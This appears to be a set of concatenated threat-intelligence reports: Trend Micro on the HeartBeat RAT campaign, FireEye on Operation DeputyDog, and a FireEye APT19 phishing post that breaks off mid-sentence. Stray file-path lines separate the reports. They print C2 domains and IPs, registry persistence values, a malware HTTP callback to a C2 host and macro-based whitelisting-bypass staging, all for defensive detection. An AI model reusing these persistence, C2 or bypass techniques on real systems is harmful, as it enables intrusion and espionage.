(APT) campaigns with diverse targeted industries, the HeartBeat campaign is an isolated case. Furthermore, we will examine their attack methodologies which include their attack vector, the remote administration tool (RAT) component, and command-and-control servers. Finally, we will discuss how this information can be useful in developing defensive strategies in protecting organizations as well as predicting future targets. introduCtion Todays cybercriminals try to infect as many users as possible. Their goal is simpleto monetize the resources or data from infected machines in any way they can. Behind such attacks are highly covert targeted campaigns known as APTs. While targeted campaigns continue to increase, research efforts by the security industry reveal that some of these attacks have existed for several years.1 Depending on the motive, APT campaigns may attack various industries, organizations or communities from different regions and countries. For instance, the Luckycat campaign targeted the aerospace, energy, engineering, shipping, and military research industries in India and Japan.2 Additionally, they targeted the Tibetan activists community. The IXESHE campaign, on the other hand, targeted East Asian governments, Taiwanese electronics manufacturers, and a telecommunications company.3 While most of these campaigns have multiple targets, smaller, more subtle campaigns with exceedingly specific targets are also present. The Taidoor campaign is an example of this, where all of the compromise victims were from Taiwan, and the majority of which were government organizations.4 This research paper will delve into a targeted campaign that targets organizations and communities within South Korea. We call this malicious operation the HeartBeat campaign. 1 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_dissecting-lurid-apt.pdf 2 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_luckycat_redux.pdf 3 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_ixeshe.pdf 4 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_the_taidoor_campaign.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf THE HEARTBEAT APT CAMPAiGN CAmPAign tArgets The HeartBeat campaign appears to target government organizations and institutions or communities that are in some way related to the South Korean government. Specifically, we were able to identify the following targets: Political parties Media outfits A national policy research institute A military branch of South Korean armed forces A small business sector organization Branches of South Korean government The profile of their targets suggests that the motive behind the campaign may be politically motivated. Context The first HeartBeat campaign remote access tool (RAT)5 component was discovered in June 2012 in a Korean newspaper company network. Further investigation revealed that the campaign has been actively distributing their RAT component to their targets in 2011 and the first half of 2012. Furthermore, we uncovered one malware component that dates back to November 2009. This indicates that the campaign started during that time or earlier. Earlier versions of the HeartBeat campaigns RAT component contained the following strings in their codes: Thus, the campaign name HeartBeat. 5 http://en.wikipedia.org/wiki/Remote_administration_software Figure 1. Code used in the HeartBeat campaigns RAT component http://en.wikipedia.org/wiki/Remote_administration_software THE HEARTBEAT APT CAMPAiGN AttACk VeCtor In order to gain control over targets systems, HeartBeat perpetrators install a RAT in prospective victims systems. This RAT arrives as a disguised or fake document which is actually a bundled file. The bundled file contains both a decoy document and the RAT installer that has been packaged together using a binder tool. Once it runs, the decoy document is displayed to the user while the RAT unknowingly executes in the background. It is unclear how these packaged files specifically arrive on victims systems, but we highly suspect that spearphishing emails6 containing these packaged malware were primarily used to distribute them. In fact, the packaged malware used the icon of the decoy document in order to look legitimate. For instance, if the decoy is an XLS file, the package will appear to have an XLS document icon. In addition, some of the decoy files required passwords in order to be viewed. Figure 2. Example of a decoy Adobe Reader document The previously mentioned techniques are commonly used in spearphishing attacks where prospective victims are lured to open a seemingly benign document attachment. In order to appear more legitimate, some of these emails contain password protected documents. A password is then provided in the email body as a social engineering technique. 6 http://blog.trendmicro.com/taiwan-spear-phishers-target-gmail-users/ Based on the samples we collected, the campaigns decoy documents used the file formats .JPG, .PDF, XLS, and HWP, the Korean government standard word processor format. One of the previous HeartBeat attacks even dropped a pornographic .JPG image as decoy. Below is a screenshot of a Hangul Word Processor (.HWP) document used as bait in November 2011. Its document title roughly translates to Information to the President.hwp. Figure 3. A decoy .HWP document http://blog.trendmicro.com/taiwan-spear-phishers-target-gmail-users/ THE HEARTBEAT APT CAMPAiGN 2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. TREND MICRO INCORPORATED Trend Micro Incorporated (TYO: 4704 TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its In- ternet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloud- based security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments. Powered by the industry-leading Trend Micro Smart Pro- tection Network cloud computing security infrastructure, our products and services stop threats where they emergefrom the Internet. They are supported by 1,000 threat intelligence experts around the globe. TREND MICRO INC. 10101 N. De Anza Blvd. Cupertino, CA 95014 U.S. toll free: 1 800.228.5651 Phone: 1 408.257.1500 Fax: 1 408.257.2003 www.trendmicro.com infeCtion flow Once users open the packaged malicious file, the actual document is displayed to the user while a RAT installer in .EXE format runs in the background. The RAT installer, on the other hand, drops a .DLL file that is then injected to the legitimate process svchost.exe. The injected code in svchost.exe then connects to the malware command and control (CC) server to register infection and wait for remote commands. Figure 4. Infection diagram for the HeartBeat campaign THE HEARTBEAT APT CAMPAiGN the rAt ComPonent Backdoor Functionalities The HeartBeat campaigns RAT component allows attackers to remotely execute the following commands on affected hosts: List running processes and their respective process IDs Download and execute file(s) Update itself Uninstall itself Create or terminate a process List available removable and fixed drives List existing files and their creation date/time Upload file(s) Delete file(s) Get the file creation date/time of a specific file Open a remote command shell access Reboot the system These commands give the attackers complete control over their victims systems. Attackers also have the option to uninstall the RAT any time to cover their tracks and avoid being discovered. Installation and Persistence The RAT installer is initially dropped and executed by the packaged file using any of the following file names: System\msrt.exe Program Files\Common Files\AcroRd32.exe Program Files\Common Files\config.exe Program Files\Common Files\explorer.exe The RAT installer in turn drops a .DLL component which contains the backdoor capabilities. In order to stay hidden, the .DLL uses file names similar to legitimate applications. Below is a list of file names used: Program Files\Common Files\Services\6to4nt.dll Program Files\Common Files\System\6to4nt.dll Program Files\Windows NT\Accessories\6to4nt.dll Program Files\Windows NT\htrn.dll Program Files\Windows NT\htrn_jls.dll Program Files\Windows NT\hyper.dll System\Network Remote.dll System\SvcHost.dll Some these dropped .DLL files use fake file properties in order to not appear suspicious. The following is an example: Figure 5. A.DLL that uses fake file properties THE HEARTBEAT APT CAMPAiGN In some cases, the RAT installer drops 2 .DLL files where one of the .DLLs serves as a loader of the other .DLL file which contains the backdoor payload. The .DLL component is then registered as a service through the following added registries: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\service name Type 20 Start 2 ErrorControl 1 ImagePath SystemRoot\System32\svchost.exe -k netsvcs ObjectName LocalSystem HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\service name\Parameters ServiceDll C:\Program Files\Windows NT\htrn. dll HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\service name\Security Security values HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\service name\Enum 0 Root\LEGACY_service name\0000 Count 1 NextInstance 1 service name may be 6to4, Ias or Irmon. The service is then invoked once installed. This results in the .DLL being injected to svchost.exe process. This registry modification allows the RAT to execute upon every system startup. After installation the RAT installer deletes itself, which leaves only the disguised .DLL and related registry entries on the affected system. Note that the presence of any of the files or registries above may be an indication of a possible HeartBeat infection in a system. CC Communication Once the RATs .DLL component has been injected to svchost.exe, the malware attempts to register itself to the CC server by sending the following information from the affected system: Computer name Local IP address Service pack These data are sent along with a campaign code and the string qawsed. While the qawsed string is not present in earlier versions of their RAT, we suspect that the attackers only recently added this as a default campaign password. The RATs CC communication is encrypted with XOR encryption using a single byte key, 02H. Furthermore, the data being transferred and received by the RAT CC are 800H (2,048 bytes) in size. Figure 6. RATs encryption algorithm before sending data to its CC server THE HEARTBEAT APT CAMPAiGN Figure 7. RATs decryption code upon receiving data from the CC server During the RATs phone home, the following TCP traffic is observed on the network: When decrypted, the above traffic looks as follows: The majority of the RAT variants used port 80. Recent variants, however, were observed to use port 443. Other ports we have seen being utilized are port 5600 and port 8080. Earlier RAT variants did not use encryption on their CC communication. Moreover, they only sent the computer name and campaign code during phone home. Below is a screenshot of the unencrypted CC communication.
209
THE HEARTBEAT APT CAMPAiGN The CC traffic size also varied in previous versions.
42,413
42,603
191
data/reports_final/0209.txt
THE HEARTBEAT APT CAMPAiGN The CC traffic size also varied in previous versions. Some early variants used traffic that are 28H (40 bytes) and 1004H (4,100 bytes) in size. Additionally, the port, CC address, campaign code and password are hardcoded in the RATs malware body in plain text. In some RAT versions, however, they are encrypted and are decrypted only during run-time, possibly to protect the RAT from static analysis by security researchers. These variations in their RAT component indicate that it has since been undergoing development. CommAnd And Control The HeartBeat campaigns CC domains appear to utilize a site redirection service. Their CC sites redirect to IP addresses from ISPs in Armenia, USA, Japan, India and Korea. We observed that they updated the IP address of some of their CC domains. Likewise, all of their IP addresses belong to legitimate ISPs. Considering this, we suspect that these IP addresses are compromised hosts that act as proxy servers which redirects traffic to the actual CC servers. Again, this adds another layer of anonymity to the HeartBeat perpetrators. Domain IP Address ahnlab.myfw.us XXX.XXX.217.123 /XXX.XX.121.84 kissyou01.myfw.us XX.XXX.203.122 / XX.XXX.20.103 kita.myfw.us XXX.XXX.217.123 / XXX.XX.121.84 login.sbs.com. PassAs.us XXX.XXX.178.50 mail2.myfw.us XX.XXX.15.63 / XXX.XXX.198.93 park007.myfw.us unknown snrp. UglyAs.com XXX.XXX.169.45 www.banking.com. PassAs.us XXX.XXX.178.50 www.huyang.go.kr. PassAs.us XXX.XXX.217.123 / XX.XXX.136.115 www.kinu.or.kr.rr.nu XXX.XXX.178.50 www.kndu.ac.kr.myfw.us XXX.XXX.4.180 young03.myfw.us XX.XXX.203.122 Table 1. List of HeartBeat CCs heArtbeAt CAmPAign Codes And deCoy doCuments The campaign codes and decoy documents used by the HeartBeat attackers provided valuable insights on their campaigns. In fact, majority of their campaign codes included number combinations which represented the month and date in MMDD format when the attack attempt was executed. The rest of the campaign code string often describes the decoy document that was used in a specific campaign. For instance, a campaign code from October 2011 is army-1022 where attackers used a decoy document containing military-related information. Campaign code Password 1119HWP None kris0315 None PDF-0417 None gh-0525 None 0909-jpg qawsed 0916 qawsed jpg-jf-0925 qawsed army-1022 qawsed 1103-ghui qawsed 1113-minzhu qawsed ajh7884han qawsed 001 qawsed 0305-ziyoudang qawsed 0326-xuehui qawsed 0328-junf qawsed 0329-mnd qawsed 1q2w3e4r None 0520-tiegang qawsed guohui-0604 qawsed Table 2. Campaign codes used On the other hand, decoy documents contents were also very specific to their targets. For example, some of these documents included logos of specific groups. This information helped us identify their targeted organizations and communities in their previous campaigns. r el A ti o n sh iP s A m o n g C C d o m A in s, iP s, A n d C A m P A ig n s PA G E 9 T H E H E A R T B E A T A P T C A M P A iG N Fi gu re 7 . R el at io ns hi ps b et w ee n H ea rt B ea t at ta ck c om po ne nt s THE HEARTBEAT APT CAMPAiGN Attribution Clues relating to the attackers remain very limited. Using compromised hosts as CC proxy servers minimizes the possibility of tracking potential threat actors. While a number of their campaign codes included Chinese words such as guohui, xuehui and minzhu, they appear to be comfortable using the English language. Some of the CC domain names even contained English words. In addition, the binder tool and the RAT component are written in English. For instance, some text from the packaged components body included Select Files and Bind Success, while the RAT component included strings such as Uninstallok and the name of the RAT itself, HeartBeat. Threat actors and entities that use collected information from targets may be two separate parties that are only related in a professional and malicious manner. In this case, determining the latter may be impossible. Likewise, it is very difficult to identify the threat actors behind the HeartBeat campaign given the limited amount of information available. ConClusion The Heartbeat campaign has been successfully executing targeted attacks since 2009. In order for attackers to properly track their campaigns and victims, they used campaign codes that contained the campaign dates and strings that described specific campaigns. These campaign codes are embedded in their RAT binaries and were sent to their CC servers along with information regarding the targets system. Additionally, they used a commercial site redirection service for their CC domains. These domains redirected to various IP addresses that belonged to legitimate ISPs, which may be compromised hosts that act as proxy servers. This effectively hides the real location of the attackers behind HeartBeat. While having an isolated target may have helped them stay under the security industrys radar, the attackers illustrated that they were very careful but persistent. Understanding targeted campaigns and their methodologies is fundamental in protecting both end users and organizations. Not only does it help in coming up with effective defensive strategies through multiple protection layers, it also helps with predicting possible targets in the future and ultimately, raise awareness. As of this writing, the HeartBeat APT campaign remains an active targeted campaign. timeline We collected 19 set of samples related to HeartBeat campaign from November 2009 to June 2012. This translates to 19 campaigns where the vast majority of which were distributed between 2011 and 2012. Nonetheless, the limited number of samples we were able to obtain still means that the campaign is indeed persistent. The isolated nature of this targeted attack and its small user base may only require the HeartBeat perpetrators to carry out minimal campaigns in order to infiltrate their targets. Campaign Date (MM/DD/YY) MD5 (.DLL component) Compile Date (MM/DD/YY) 11/19/09 7c6b44d8d87898e7e5deeeb1961b5ae6 9/17/2009 03/15/11 fcf42cadb3a932989c8e2b29cef68861 12/24/2010 04/17/11 aab129ffd3bf5ceeae2e0f332217bebc 3/18/2011 05/25/11 86547d674e7c7da55e8cae359819832f 5/6/2011 09/09/111 f947e63b14853a69b8ed2648869b5e10 7/25/2011 09/16/11 7f1a633384ec97fae9d95d1df9e1135a 7/25/2011 09/25/11 8816c5be1305488019769c81259dad2a 9/21/2011 10/22/11 874025a66c2b9d9831c03d1bc114876a 10/17/2011 11/03/11 4046dec1aa0eebb01fe7469184a95398 10/31/2011 11/13/11 ba370b17dc9eb1d1e1c3187f0768064f 10/31/2011 12/2011 51274cefb01cee981a09db83c984213d 11/28/2011 02/2012 d1a2253361045f91ed1902e9ffe2cec3 7/18/2011 03/05/12 20bb652e1d2679ed230102aa9676eca0 3/1/2012 03/26/12 c5c0fea23138cddab96fe22b657f9132 3/8/2012 03/28/12 ef2bc66ea69327d11d1859af26f5aef9 3/8/2012 03/29/12 8e50af054d2c0b45c88082d53c4fc423 3/8/2012 04/2012 b1e47ecd68c1c151866cec275716aa67 4/18/2012 05/20/12 6d205e78fb7730066c116b0c2dffa398 5/2/2012 06/04/12 5ec175512ba3c6e78597af48bbe6ca60 5/2/2012 Table 3. Specific dates of HeartBeat campaigns THE HEARTBEAT APT CAMPAiGN We did not obtain a campaign sample from 2010. However, we highly suspect that their operation was also active during that year. In fact, we can see in the second MD5 above that the sample was compiled in December 24, 2010. Also, it is possible that some of the campaigns attacks may not have been escalated to antivirus firms by infected users, or simply remains undiscovered. defending AgAinst the heArtbeAt CAmPAign Essential components of defense against the HeartBeat campaign are security-related policies within enterprises. Once an attack is identified, a good cleanup strategy should focus on determining the attack vector and cutting off communications with the CC server. It is also vital to determine the scope of the compromise and assessing the damage through data analysis and forensics. The following best practices are also advised: Disable services that are related to the HeartBeat RAT component. Enable systems firewall Keep software and operating systems updated with latest patches released by vendors to address vulnerabilities and exploits. Block unused ports to disallow malware from using these ports to communicate and/or enforce commands. Monitor network connections for any suspicious connection or connectivity. Regularly update list of sites that are trusted. Configure your email server to block or remove email that contain file attachments using extensions such as .VBS, .BAT, .EXE, .PIF and .SCR files. Avoid opening email attachments and clicking embedded links from unknown sources Block any file with more than one file type extension. When a computer is compromised, isolate it immediately from the network. Configure your system to show hidden files and folders and display file extensions. Dont save login credentials on the local computer. THE HEARTBEAT APT CAMPAiGN trend miCro threAt ProteCtion AgAinst the heArtbeAt CAmPAign ComPonents The following table summarizes the Trend Micro solutions for the components of the HeartBeat campaign. Trend Micro recommends a comprehensive security risk management strategy that goes further than advanced protection to meet the real-time threat management requirements of dealing with targeted attacks. Attack Component Protection Technology Trend Micro Solution HeartBeat TCP communication is blocked in the network layer as TCP_HBEAT_REQUEST Web Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) TROJ_DRPBEAT and BKDR_HBEAT variants File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) XXX.XXX.217.123 XXX.XX.121.84 XX.XXX.203.122 XX.XXX.20.103 XXX.XXX.217.123 XXX.XX.121.84 XXX.XXX.178.50 XX.XXX.15.63 XXX.XXX.198.93 XXX.XXX.169.45 XXX.XXX.178.50 XXX.XXX.217.123 XX.XXX.136.115 XXX.XXX.178.50 XXX.XXX.4.180 XX.XXX.203.122 ahnlab.myfw.us kissyou01.myfw.us kita.myfw.us login.sbs.com. PassAs.us mail2.myfw.us park007.myfw.us snrp. UglyAs.com www.banking.com. PassAs.us www.huyang.go.kr. PassAs.us www.kinu.or.kr.rr.nu www.kndu.ac.kr.myfw.us young03.myfw.us Web, Domain, and IP Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) THE HEARTBEAT APT CAMPAiGN December 2012 APT Campaign Quick Profile: HEARTBEAT Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victims network so they can move laterally and exfiltrate data. Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage. HEARTBEAT FirstSeen Individual targeted attacks are not one-off attempts. Attackers continually try to get inside the targets network. The HeartBeat campaign has been persistently pursuing government agencies since 2009. The samples collected related to this campaign covered attacks seen from November 2009 to June 2012, although majority of the attacks were seen in 2011 and 2012. VictimsandTargets APT campaigns target specific industries or communities of interest in specific regions. The HeartBeat campaign targets South Korean government organizations and institutions like political parties, media outfits, a national policy research institute, a military branch of South Korean armed forces, a small business sector organization, and branches of the South Korean government. Operations The 1st-stage computer intrusions often use social engineering. Attackers custom-fit attacks to their targets. The threat actors behind HeartBeat install a RAT in system. The RAT arrives as a disguised or fake document which is actually a bundled file. The bundled file contains both a decoy document and the RAT installer that has been packaged together using a binder tool. The campaigns decoy documents used the file formats .JPG, .PDF, XLS, and HWP, the Korean government standard word processor format. PossibleIndicatorsofCompromise Attackers want to remain undetected as long as possible. A key characteristic of these attacks is stealth. The following indicators suggest an infection by the HeartBeat campaign: contiguous 02H bytes communication in the network, the presence of certain files and registries as detailed in the paper, and network connections to certain IPs and domains, including the presence of files detected as TROJ_DRPBEAT and BKDR_HBEAT. RelationshipwithotherAPTCampaigns This attack does not seem to have any relationship with other APT campaigns. THE HEARTBEAT APT CAMPAiGN 2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. TREND MICRO INCORPORATED Trend Micro Incorporated (TYO: 4704 TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its In- ternet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloud- based security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments. Powered by the industry-leading Trend Micro Smart Pro- tection Network cloud computing security infrastructure, our products and services stop threats where they emergefrom the Internet. They are supported by 1,000 threat intelligence experts around the globe. TREND MICRO INC. 10101 N. De Anza Blvd. Cupertino, CA 95014 U.S. toll free: 1 800.228.5651 Phone: 1 408.257.1500 Fax: 1 408.257.2003 www.trendmicro.com About This Paper Introduction Campaign Targets Context Attack Vector Infection Flow The RAT Component Backdoor Functionalities Installation and Persistence CC Communication Command and Control HeartBeat Campaign Codes and Decoy Documents Relationships among CC Domains, IPs, and Campaigns Attribution Conclusion Timeline Defending against the HeartBeat Campaign Operation DeputyDog: Zero-Day (CVE-2013-3893) Attack Against Japanese Targets FireEye has discovered a campaign leveraging the recently announced zero-day CVE-2013-3893. This campaign, which we have labeled Operation DeputyDog, began as early as August 19, 2013 and appears to have targeted organizations in Japan. FireEye Labs has been continuously monitoring the activities of the threat actor responsible for this campaign. Analysis based on our Dynamic Threat Intelligence cluster shows that this current campaign leveraged command and control infrastructure that is related to the infrastructure used in the attack on Bit9. Campaign Details On September 17, 2013 Microsoft published details regarding a new zero-day exploit in Internet Explorer that was being used in targeted attacks. FireEye can confirm reports that these attacks were directed against entities in Japan. Furthermore, FireEye has discovered that the group responsible for this new operation is the same threat actor that compromised Bit9 in February 2013. FireEye detected the payload used in these attacks on August 23, 2013 in Japan. The payload was hosted on a server in Hong Kong (210.176.3.130) and was named img20130823.jpg. Although it had a .jpg file extension, it was not an image file. The file, when XORed with 095, was an executable (MD5: 8aba4b5184072f2a50cbc5ecfe326701). Upon execution, 8aba4b5184072f2a50cbc5ecfe326701 writes 28542CC0.dll (MD5: 46fd936bada07819f61ec3790cb08e19) to this location: C:\Documents and Settings\All Users\Application Data\28542CC0.dll In order to maintain persistence, the original malware adds this registry key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\28542CC0 The registry key has this value: rundll32.exe C:\Documents and Settings\All Users\Application Data\28542CC0.dll,Launch The malware (8aba4b5184072f2a50cbc5ecfe326701) then connects to a host in South Korea (180.150.228.102). This callback traffic is HTTP over port 443 (which is typically used for HTTPS encrypted traffic however, the traffic is not HTTPS nor SSL encrypted). Instead, this clear-text callback traffic resembles this pattern: http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx http://technet.microsoft.com/en-us/security/advisory/2887505 https://community.qualys.com/blogs/laws-of-vulnerabilities/2013/09/17/september-2013--new-ie-0-day https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ POST /info.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded Agtid: [8 chars]08x User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Win32) Host: 180.150.228.102:443 Content-Length: 1045 Connection: Keep-Alive Cache-Control: no-cache [8 chars]08x[Base64 Content] The unique HTTP header Agtid: contains 8 characters followed by 08x. The same pattern can be seen in the POST content as well. A second related sample was also delivered from 111.118.21.105/css/sun.css on September 5, 2013. The sun.css file was a malicious executable with an MD5 of bd07926c72739bb7121cec8a2863ad87 and it communicated with the same communications protocol described above to the same command and control server at 180.150.228.102. Related Samples We found that both droppers, bd07926c72739bb7121cec8a2863ad87 and 8aba4b5184072f2a50cbc5ecfe326701, were compiled on 2013-08-19 at 13:21:59 UTC. As we examined these files, we noticed a unique fingerprint. These samples both had a string that may have been an artifact of the builder used to create the binaries. This string was DGGYDSYRL, which we refer to as DeputyDog. As such, we developed the following YARA signature, based on this unique attribute: rule APT_DeputyDog_Strings meta: author FireEye Labs version 1.0 description detects string seen in samples used in 2013-3893 0day attacks reference 8aba4b5184072f2a50cbc5ecfe326701 strings: mz 4d 5a a DGGYDSYRL condition: (mz at 0) and a We used this signature to identify 5 other potentially related samples: MD5 Compile Time (UTC) C2 Server 58dc05118ef8b11dcb5f5c596ab772fd 2013-08-19 13:21:58 180.150.228.102 4d257e569539973ab0bbafee8fb87582 2013-08-19 13:21:58 103.17.117.90 dbdb1032d7bb4757d6011fb1d077856c 2013-08-19 13:21:59 110.45.158.5 645e29b7c6319295ae8b13ce8575dc1d 2013-08-19 13:21:59 103.17.117.90 e9c73997694a897d3c6aadb26ed34797 2013-04-13 13:42:45 110.45.158.5 Note that all of the samples, except for e9c73997694a897d3c6aadb26ed34797, were compiled on 2013- 08-19, within 1 second of each other. We pivoted off the command and control IP addresses used by these samples and found the following known malicious domains recently pointed to 180.150.228.102. Domain First Seen Last Seen ea.blankchair.com 2013-09-01 05:02:22 2013-09-01 08:25:22 rt.blankchair.com 2013-09-01 05:02:21 2013-09-01 08:25:24 ali.blankchair.com 2013-09-01 05:02:20 2013-09-01 08:25:22 dll.freshdns.org 2013-07-01 10:48:56 2013-07-09 05:00:03 Links to Previous Campaigns According to Bit9, the attackers that penetrated their network dropped two variants of the HiKit rootkit. One of these Hitkit samples connected to a command and control server at downloadmp3server[.]servemp3[. ]com that resolved to 66.153.86.14. This same IP address also hosted www[.]yahooeast[. ]net, a known malicious domain, between March 6, 2012 and April 22, 2012. The domain yahooeast[. ]net was registered to 654123.com. This email address was also used to register blankchair[. ]com the domain that we see was pointed to the 180.150.228.102 IP, which is the callback associated with sample 58dc05118ef8b11dcb5f5c596ab772fd, and has been already correlated back to the attack leveraging the CVE-2013-3893 zero-day vulnerability. Threat Actor Attribution https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ https://www.mandiant.com/blog/hikit-rootkit-advanced-persistent-attack-techniques-part-1-2/ Conclusion While these attackers have a demonstrated previously unknown zero-day exploits and a robust set of malware payloads, using the techniques described above, it is still possible for network defense professionals to develop a rich set of indicators that can be used to detect their attacks. This is the first part of our analysis, we will provide more detailed analysis on the other components of this attack in subsequent blog post. This entry was posted in Advanced Malware, Exploits, Targeted Attack, Threat Intelligence, Threat Research by Ned Moran and Nart Villeneuve. Bookmark the permalink. http://www.fireeye.com/blog/wp-content/uploads/2013/09/deputydog.png http://www.fireeye.com/blog/category/technical/malware-research http://www.fireeye.com/blog/category/technical/cyber-exploits http://www.fireeye.com/blog/category/technical/targeted-attack http://www.fireeye.com/blog/category/technical/threat-intelligence http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/author/ned-moran http://www.fireeye.com/blog/author/narottama-villeneuve http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html Privileges and Credentials: Phished at the Request of Counsel fireeye.com /blog/threat-research/2017/06/phished-at-the-request-of-counsel.html Summary In May and June 2017, FireEye observed a phishing campaign targeting at least seven global law and investment firms. We have associated this campaign with APT19, a group that we assess is composed of freelancers, with some degree of sponsorship by the Chinese government. APT19 used three different techniques to attempt to compromise targets. In early May, the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE 2017-0199. Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents. At least one observed phishing lure delivered a Cobalt Strike payload. As of the writing of this blog post, FireEye had not observed post-exploitation activity by the threat actors, so we cannot assess the goal of the campaign. We have previously observed APT19 steal data from law and investment firms for competitive economic purposes. This purpose of this blog post is to inform law firms and investment firms of this phishing campaign and provide technical indicators that their IT personnel can use for proactive hunting and detection. The Emails APT19 phishing emails from this campaign originated from sender email accounts from the cloudsend[. ]net domain and used a variety of subjects and attachment names. Refer to the Indicators of Compromise section for more details. The Attachments APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial exploits. The following sections describe the two methods in further detail. RTF Attachments Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099, the observed RTF attachments download hxxp://tk-in-f156.2bunny[. ]com/Agreement.doc. Unfortunately, this file was no longer hosted at tk-in-f156.2bunny[. ]com for further analysis. Figure 1 is a screenshot of a packet capture showing one of the RTF files reaching out to hxxp://tk-in-f156.2bunny[. ]com/Agreement.doc. 1/14 https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html Figure 1: RTF PCAP XLSM Attachments The XLSM attachments contained multiple worksheets with content that reflected the attachment name. The attachments also contained an image that requested the user to Enable Content, which would enable macro support if it was disabled. Figure 2 provides a screenshot of one of the XLSM files (MD5:30f149479c02b741e897cdb9ecd22da7). Figure 2: Enable macros One of the malicious XLSM attachments that we observed contained a macro that: 1. Determined the system architecture to select the correct path for PowerShell 2. Launched a ZLIB compressed and Base64 encoded command with PowerShell. This is a typical technique used by Meterpreter stagers. Figure 3 depicts the macro embedded within the XLSM file (MD5: 38125a991efc6ab02f7134db0ebe21b6). 2/14 3/14 Figure 3: XLSX Macro Figure 4 contains the decoded output of the encoded text. Figure 4: Decoded ZLIB Base64 payload 4/14 The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of autodiscovery[.]2bunny[. ]com. The requests contain minimal HTTP headers since the PowerShell command is executed with mostly default parameters. Figure 5 depicts an HTTP GET request generated by the payload, with minimal HTTP headers. Figure 5: GET Request with minimal HTTP headers Converting the shellcode to ASCII and removing the non-printable characters provides a quick way to pull out network-based indicators (NBI) from the shellcode. Figure 6 shows the extracted NBIs. Figure 6: Decoded shellcode FireEye also identified an alternate macro in some of the XLSM documents, displayed in Figure 7. Figure 7: Alternate macro This macro uses Casey Smiths Squiblydoo Application Whitelisting bypass technique to run the command in Figure 8. Figure 8: Application Whitelisting Bypass 5/14 http://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html The command in Figure 8 downloads and launches code within an SCT file. The SCT file in the payload (MD5: 1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9. Figure 9: SCT contents Figure 10 provides the decoded script. Notice the DoIt string, which is usually indicative of a Cobalt Strike payload. 6/14 7/14 Figure 10: Decoded SCT contents A quick conversion of the contents of the variable var_code from Base64 to ASCII shows some familiar network indicators, shown in Figure 11. Figure 11: var_code to ASCII Second Stage Payload Once the XLSM launches its PowerShell command, it downloads a typical Cobalt Strike BEACON payload, configured with the following 